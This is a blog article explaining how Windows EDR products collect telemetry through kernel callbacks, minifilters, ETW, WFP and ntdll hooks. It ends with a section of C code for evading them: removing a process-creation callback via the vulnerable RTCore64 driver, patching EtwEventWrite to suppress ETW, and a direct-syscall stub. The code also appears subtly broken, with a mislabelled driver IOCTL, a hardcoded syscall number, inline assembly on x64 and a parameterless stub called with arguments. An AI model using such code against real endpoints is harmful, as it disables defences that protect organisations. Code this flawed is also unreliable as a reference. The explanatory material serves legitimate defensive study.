Skip to main content
Xsec

EDR Internals

Published on 7 min read

Updated on

Seriesevasion
Part 2 of 3
In this series27 min read in total
  1. Windows Internals
  2. EDR Internals
  3. EDR Neutralization

Understanding and Evading Modern Endpoint Detection and Response Systems

ImportantRevised technical review

This 2025 edition is retained as a historical baseline. Its diagrams have been replaced with corrected SVG infographics, but the authoritative, source-based rewrite is EDR Internals: Telemetry Architecture and Evasion Boundaries.

Endpoint Detection and Response (EDR) systems have become the cornerstone of modern security infrastructure, providing advanced threat detection and incident response capabilities. This article delves into the internal workings of EDR solutions, focusing particularly on their telemetry collection mechanisms.

Introduction to EDR Architecture

Modern EDR solutions employ a multi-layered architecture that combines user-mode and kernel-mode components to achieve comprehensive visibility and protection. The architecture typically consists of a kernel driver for low-level monitoring, user-mode services for analysis, and cloud components for intelligence sharing and updates.

The EDR kernel driver is responsible for collecting telemetry from various sources within the system, monitoring for suspicious activities, and enforcing security policies. It interacts with Windows kernel mechanisms to gain visibility into system operations without significantly impacting performance.

Kernel Callbacks Telemetry

One of the primary mechanisms EDRs use to collect telemetry is kernel callbacks. These callbacks are registered function pointers that get called whenever specific system events occur. Let’s explore the various types of kernel callbacks that EDRs typically leverage.

Process Creation Kernel Callbacks

Process creation monitoring is fundamental to EDR functionality. These callbacks notify drivers whenever a process is created or terminated on the system, allowing EDRs to collect initial telemetry on potentially malicious process creation activities.

Technical diagram
PROCESS CREATION CALLBACK: Registration and event delivery are separate paths.KERNEL TELEMETRY · PROCESS MANAGERPROCESS CREATION CALLBACKRegistration and event delivery are separate paths.USER MODEKERNEL MODEregisterstored routineTRIGGERCreate processCreator threadDRIVER INITEDR driverSigned kernel imageREGISTRATIONPsSetCreateProcessNotifyRoutineExCallback added onceEVENTProcess ManagerCreation pathDISPATCHNotify routinesPASSIVE_LEVELEDR CALLBACKCorrelate telemetryObserve or setCreationStatusDELIVERED DATA · PEPROCESS · PROCESS PID · PARENT PID · CREATOR TID · IMAGE · COMMAND LINE
Documented process-notify path. Unlike a passive notification, the Ex callback can veto creation through CreationStatus.How to read the diagramRead the dashed upper path as one-time driver registration and the lower path as delivery for each process event. PASSIVE_LEVEL describes execution constraints, while creator-thread context identifies where the callback runs; neither establishes intent without correlated evidence.

The telemetry collected includes the EPROCESS structure of the created process, the process ID (PID), and a PPS_CREATE_NOTIFY_INFO structure containing critical information such as parent process ID, image filename, command line arguments, and creating thread ID. EDRs leverage this information to detect suspicious process creation patterns, parent-child relationships, and command line parameters indicative of malicious activity.

Thread Creation Kernel Callbacks

Thread creation monitoring complements process monitoring by providing visibility into code execution within processes. EDRs register thread creation callbacks to detect techniques like remote thread injection.

Technical diagram
THREAD LIFECYCLE SIGNAL: A notify callback is a correlation primitive, not an injection verdict.KERNEL TELEMETRY · THREAD MANAGERTHREAD LIFECYCLE SIGNALA notify callback is a correlation primitive, not an injection verdict.USER MODEKERNEL MODEregistered routinecontextTRIGGERCreate threadLocal or remoteREGISTRATIONPsSetCreateThreadNotifyRoutine[Ex]Driver initializationEVENTThread ManagerCreate · exitCALLBACK DATAProcessId · ThreadIdCreate = TRUE/FALSEEXECUTION CONTEXTCreator threadOn thread creationEDR CORRELATIONInjection hypothesisNeeds other signalsHIGH-FIDELITY DETECTION REQUIRES CORRELATION · CREATOR CONTEXT · HANDLE EVENTS · MEMORY · CALL STACK
The classic callback receives ProcessId, ThreadId and Create. It does not receive an ETHREAD structure or a source-process field.How to read the diagramThe callback identifies the target process, the new thread, and whether the event is creation or exit. The creator context can add provenance, but remote injection remains a hypothesis until handle, memory, start-address, or call-stack evidence supports it.

The telemetry collected includes the ETHREAD structure, process ID of the creating process, and thread ID of the newly created thread. This information helps EDRs detect thread injection techniques commonly used in living-off-the-land attacks and fileless malware operations.

Image Load Kernel Callbacks

Image loading callbacks notify drivers whenever a PE file (executable, DLL, or driver) is loaded into memory. This provides EDRs with visibility into what code modules are being introduced into processes.

Technical diagram
IMAGE LOAD NOTIFICATION: Notification occurs after mapping and before the image entry point runs.KERNEL TELEMETRY · IMAGE MAPPINGIMAGE LOAD NOTIFICATIONNotification occurs after mapping and before the image entry point runs.USER MODEKERNEL MODEREQUESTLoadLibraryEXE · DLLLOADERMap imageSection mappingSTATEImage mappedEntrypoint not runNOTIFYLoad-imagecallbacksPASSIVE_LEVELEDREnrich + scoreHash · signer · pathSEMANTIC LIMITVOID callbackno Allow/Deny returnBlocking requires another enforcement controlCALLBACK DATA · FULL IMAGE NAME (OPTIONAL) · PROCESS ID · IMAGE BASE · IMAGE SIZE · FLAGS
PLOAD_IMAGE_NOTIFY_ROUTINE returns void. It can observe the mapping but cannot directly return Allow or Deny.How to read the diagramThe important boundary is temporal: the image mapping already exists when notification is delivered, but its entry point has not run. The callback reports that state transition; reputation enrichment and any later process termination belong to separate controls.

The collected telemetry includes the full path of the loaded image, the process ID into which the image is loaded, and the base address and size of the loaded image in memory. EDRs use this information to detect the loading of suspicious DLLs, unsigned drivers, or known malicious modules.

Registry Operation Kernel Callbacks

Registry operations callbacks provide visibility into modifications to the Windows registry, which is a common persistence mechanism for malware.

Technical diagram
REGISTRY FILTERING PATH: User-mode and kernel-mode callers converge on the Configuration Manager.KERNEL TELEMETRY · CONFIGURATION MANAGERREGISTRY FILTERING PATHUser-mode and kernel-mode callers converge on the Configuration Manager.CALLERSKERNEL REGISTRY PATHstatusUSER MODEReg* APIsCreate · set · queryKERNEL MODEZw* routinesDriver callerDISPATCHConfigurationManagerTyped operationPRE-NOTIFYRegistryCallbackInspect · block · modifyPOST-NOTIFYRegistryCallbackObserve resultOPERATIONRegistry hiveExecute if allowedEDRCorrelateAlertOPERATION-SPECIFIC DATA · KEY OBJECT · VALUE NAME · DATA · PROCESS/THREAD CONTEXT · RETURN STATUS
CmRegisterCallbackEx registers one routine that receives typed pre/post notifications through REG_NOTIFY_CLASS.How to read the diagramBoth caller paths converge on the same manager. Pre-notifications can affect supported operations before execution; post-notifications report the resulting status. Available fields and permitted changes depend on the exact REG_NOTIFY_CLASS rather than on one universal registry-event schema.

These callbacks track operations such as reading, writing, deleting, or querying registry keys. The telemetry includes the full registry key path, process ID and thread ID of the process performing the operation, and details about the requested operation. EDRs analyze this data to detect common malware persistence techniques, privilege escalation attempts, and defense evasion activities.

Object Operation Kernel Callbacks

Object operation callbacks provide notifications about handle operations on process and thread objects, which is crucial for detecting privilege escalation and credential dumping attempts.

Technical diagram
PROCESS / THREAD HANDLE GATE: Object callbacks mediate handle create and duplicate operations.KERNEL TELEMETRY · OBJECT MANAGERPROCESS / THREAD HANDLE GATEObject callbacks mediate handle create and duplicate operations.USER MODEKERNEL MODErestrictSOURCEOpenProcess /DuplicateHandleRequested accessSYSTEM CALLObject ManagerHandle operationPRE-OPEDR callbackInspect requestSUPPORTED ENFORCEMENTDesiredAccess &= allowed_maskRights may be removed, never addedRESULTHandleReduced rightsPOST-OPTelemetryFinal statusPRE-OP · OBJECT TYPE · CREATE/DUPLICATE · ORIGINAL ACCESS · MUTABLE DESIRED ACCESS · KERNEL-HANDLE FLAG
ObjectPreCallback must return OB_PREOP_SUCCESS. Protection is implemented by removing supported rights from DesiredAccess, not by returning Deny.How to read the diagramTreat DesiredAccess as the set of capabilities requested for the future handle. The pre-callback can remove supported bits before issuance, so an open call may succeed while the resulting handle cannot write memory, create a thread, or perform another protected action.

These callbacks collect telemetry such as the target and source process IDs, the requested access rights, and the thread ID initiating the handle creation or duplication. EDRs use this information to prevent sensitive process access attempts, such as those targeting LSASS for credential dumping.

FileSystem Operation Kernel Callbacks

File system minifilter callbacks provide EDRs with visibility into file operations, which is essential for detecting ransomware (per ex.), data exfiltration, and malicious file modifications.

Technical diagram
MINIFILTER I/O STACK: Altitude, not product name, determines callback order.KERNEL TELEMETRY · FILTER MANAGERMINIFILTER I/O STACKAltitude, not product name, determines callback order.ONE VOLUME · ORDERED MINIFILTER INSTANCESPOST-OP · LOW → HIGHPRE-OP · HIGH → LOWORIGINI/O requestCreate · read · writeROUTERFltMgr.sysRegistered operationsHIGH ALTITUDEMinifilter APre first · post lastLOW ALTITUDEMinifilter BPre later · post firstSTORAGEFile systemComplete operationCOMPLETIONStatus · bytesMetadataReturn pathPRE-OP CAN PASS · REQUEST POST-OP · PEND · SYNCHRONIZE · OR COMPLETE THE I/O WITH A FINAL STATUS
FltMgr sends pre-operation callbacks from highest to lowest altitude; completion returns through post-operation callbacks in reverse order.How to read the diagramFollow the upper direction for the request: high-altitude instances run before lower ones. Follow the lower return for completion: post-operation callbacks unwind in reverse. Only operations registered by each minifilter participate in this path.

These callbacks collect telemetry on the type of file system operation, the process and thread IDs, and the path and size of the file involved. EDRs analyze this data to detect suspicious file activities such as mass encryption (ransomware), sensitive file access, or malicious file creation.

ETW Telemetry

Event Tracing for Windows (ETW) is another crucial telemetry source for EDRs. ETW provides a system-wide tracing mechanism that allows monitoring of user-mode and kernel-mode activities with minimal performance impact.

Technical diagram
ETW SESSION DATA FLOW: Controllers configure; providers write; consumers read.SYSTEM TELEMETRY · EVENT TRACING FOR WINDOWSETW SESSION DATA FLOWControllers configure; providers write; consumers read.CONTROL PLANEEVENT DATA PLANEconfigureenableownswritereadCONTROLLEREDR serviceStart session · enable providersTRACE SESSIONPolicy + buffer poolLevel · keywords · modePROVIDERSApplicationsSystem componentsUser mode · kernelSESSION BUFFERSOrdered event streamReal time and/or ETLCONSUMEREDR serviceDecode · filterANALYTICSCorrelateDetection · alertEVENT RECORD · PROVIDER / EVENT / ACTIVITY IDENTIFIERS · LEVEL · KEYWORD · TIMESTAMP · PID/TID · PAYLOAD
The controller is control plane, not an event hop. Providers write to session buffers consumed in real time or from ETL files.How to read the diagramThe upper plane configures which providers and event classes feed a session, plus buffer and delivery policy. The lower plane carries data: providers write records into session buffers and consumers read them. A controller can share a process with a consumer without becoming an event relay.

ETW providers emit events that contain structured data about specific activities. EDRs leverage these events to monitor for suspicious activities such as PowerShell script execution in addition of the AMSI Script module, .NET assembly loading in addition of the AMSI .net module, and other living-off-the-land techniques. Each provider generates events with unique IDs and properties that EDRs can filter and analyze to detect malicious patterns.

Network Telemetry

Network telemetry is essential for detecting command and control communications, data exfiltration, and lateral movement attempts.

Technical diagram
WFP CLASSIFICATION PATH: A callout is invoked by a matching filter at a filtering layer.NETWORK TELEMETRY · WINDOWS FILTERING PLATFORMWFP CLASSIFICATION PATHA callout is invoked by a matching filter at a filtering layer.POLICY / MANAGEMENTKERNEL CLASSIFICATIONmanagefiltersmatchclassifyEDR SERVICEPolicy providerAdd filters + contextBFEFilter policyPersistent configurationTRAFFICSocket / flowPacket · streamALESHIMTCP/IP stackExtract conditionsLAYERFilter engineClassify + arbitrateOPTIONALEDR calloutInspect · annotateACTIONPermitor blockDecisionPATHNetworkContinueALE METADATA CAN BIND FLOW TO PROCESS · APPLICATION · USER · LOCAL/REMOTE ADDRESSES · PORTS · PROTOCOL
Traffic reaches a WFP layer through a shim; the filter engine evaluates conditions and may invoke an EDR callout before enforcing the action.How to read the diagramA layer is an observation point, a filter expresses policy at that point, and a callout is optional specialized code selected by a matching filter. The metadata and authority available to the callout are therefore bounded by the invoking layer and WFP arbitration rules.

EDRs typically leverage the Windows Filtering Platform (WFP) to intercept and analyze network traffic. WFP provides a set of APIs and filtering mechanisms that allow security products to monitor and control network traffic at various layers of the network stack. EDRs register callouts that are invoked when network traffic matches specific conditions, allowing them to collect telemetry on suspicious connections, data transfers, and protocol anomalies.

Hooked API Telemetry

API hooking is a technique used by EDRs to monitor and intercept function calls made by applications, providing visibility into potentially malicious behaviors.

Technical diagram
HOOKED NTDLL CALL PATH: A detour adds an observation hop before the original syscall path.USER-MODE TELEMETRY · INLINE DETOURHOOKED NTDLL CALL PATHA detour adds an observation hop before the original syscall path.USER MODEKERNEL MODEeventCALLERApplicationNtCreateThreadExEXPORTntdll entryPatched prologueDETOUREDR hookInspect + emitTRAMPOLINEOriginalbytesResume executionTRANSITIONSyscall stubBuild-specificidentifierSENSOR OUTPUTLocal telemetry queue → EDR serviceImplementation-specificSYSTEM SERVICEKernel executionPOSSIBLE USER-MODE SIGNALS · PARAMETERS · RETURN VALUE · CALL STACK · CALLER MODULE · MEMORY INTEGRITY
This is one common implementation pattern, not a universal EDR contract. A direct syscall skips this user-mode detour only; kernel and cross-process sensors remain.How to read the diagramThe detour observes calls that cross the patched export, then the trampoline restores displaced instructions and resumes the ordinary stub. Bypassing that export removes this observation hop, not the kernel operation or the independent state changes it may produce.

EDRs typically hook critical Windows APIs, particularly in the NTDLL.DLL module, to monitor for suspicious activities. The hooking process involves modifying the function’s entry point to redirect execution to the EDR’s monitoring code before passing control to the original function. This allows EDRs to collect detailed telemetry on API parameters, return values, and call stacks, which can reveal malicious intent even when legitimate Windows APIs are being used for nefarious purposes.

Evading EDR Detection

Understanding the internal workings of EDRs provides insights into potential evasion techniques. However, it’s important to note that these techniques should only be used in legitimate security testing scenarios with proper authorization.

Technical diagram
EVASION ≠ INVISIBILITY: Each bypass targets a collection path; independent controls still observe the behavior.RED TEAM MODEL · SENSOR COVERAGEEVASION ≠ INVISIBILITYEach bypass targets a collection path; independent controls still observe the behavior.TARGETED VISIBILITYATTEMPTED GAPRESIDUAL VISIBILITY / CONTROLUSER HOOKSntdll detoursBYPASSUnhook / direct syscallSTILL VISIBLECallbacks · ETW · WFP · memoryLOCAL ETW PATHProvider writesBYPASSPatch one process pathSTILL VISIBLEKernel / other providers · integrityKERNEL CALLBACKNotify routineBYPASSKernel write primitiveRISK / CONTROLIntegrity checks · crash · telemetryKERNEL TRUSTSigned driver policyATTACKVulnerable signed driverMITIGATIONHVCI · blocklist · App ControlVALIDATION RULE · NAME THE BYPASSED SENSOR · TEST THE TARGET BUILD · MEASURE RESIDUAL TELEMETRY · EXPECT INTEGRITY CONTROLS
The useful research model maps technique to the exact sensor it affects, then enumerates residual visibility and platform mitigations.How to read the diagramRead each row from left to right: identify the targeted sensor, state the attempted gap precisely, then measure the remaining signals and controls. The middle column alone never establishes endpoint-wide invisibility.

Various techniques can be employed to evade EDR detection, from removing kernel callbacks using vulnerable drivers to modifying ETW providers and unhooking APIs. Advanced evasion techniques involve using direct system calls to bypass user-mode hooking or exploiting vulnerable signed drivers to perform kernel-mode operations that can disable security mechanisms.

Process Creation Calback Removal code exmple

/* Process Creation Callback Removal via Vulnerable Driver */
#include <windows.h>
#include <stdio.h>
#define VULN_DRIVER_DEVICE L"\\\\.\\RTCore64"
#define IOCTL_REMOVE_CALLBACK 0x8000204C
typedef struct _CALLBACK_REMOVE_REQUEST {
DWORD64 CallbackAddress;
} CALLBACK_REMOVE_REQUEST;
BOOL RemoveProcessCallback(DWORD64 callbackAddress) {
HANDLE hDevice = CreateFileW(VULN_DRIVER_DEVICE, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Error opening driver: %d\n", GetLastError());
return FALSE;
}
CALLBACK_REMOVE_REQUEST request = { callbackAddress };
DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_REMOVE_CALLBACK, &request,
sizeof(request), NULL, 0, &bytesReturned, NULL);
CloseHandle(hDevice);
return result;
}
int main() {
// Obtain target callback address via kernel debugging or pattern scanning
DWORD64 targetCallback = 0xFFFFF80041789870; // Example WdFilter.sys callback
if (RemoveProcessCallback(targetCallback)) {
printf("Successfully removed process creation callback\n");
} else {
printf("Callback removal failed\n");
}
return 0;
}

ETW Providers Patching code example

/* ETW Bypass via Memory Patching */
#include <windows.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory(
HANDLE ProcessHandle, PVOID* BaseAddress,
SIZE_T* Size, ULONG NewProtect, PULONG OldProtect);
void DisableETWTracing() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
SIZE_T size = 1;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
oldProtect, &oldProtect);
}
int main() {
DisableETWTracing();
// ETW-related events will now be suppressed
return 0;
}

Direct system Calls code example

/* Direct System Call Implementation for NtCreateThreadEx */
#include <windows.h>
typedef NTSTATUS (NTAPI* PNtCreateThreadEx)(
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
PVOID AttributeList);
DECLSPEC_NAKED NTSTATUS DirectNtCreateThreadEx() {
__asm {
mov r10, rcx
mov eax, 0xC3 // Syscall number for NtCreateThreadEx
syscall
ret
}
}
void CreateThreadEvasion() {
HANDLE hThread;
DirectNtCreateThreadEx(&hThread, GENERIC_ALL, NULL,
GetCurrentProcess(), MyThreadFunc,
NULL, 0, 0, 0, 0, NULL);
}

References

TitleURL
Windows Internals Part 1 bookhttps://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows%20System%20Internals%207e%20Part%201.pdf
Evasion Lab Course Slides (Altered Security)https://www.alteredsecurity.com/evasionlab
Use with an AI

Actions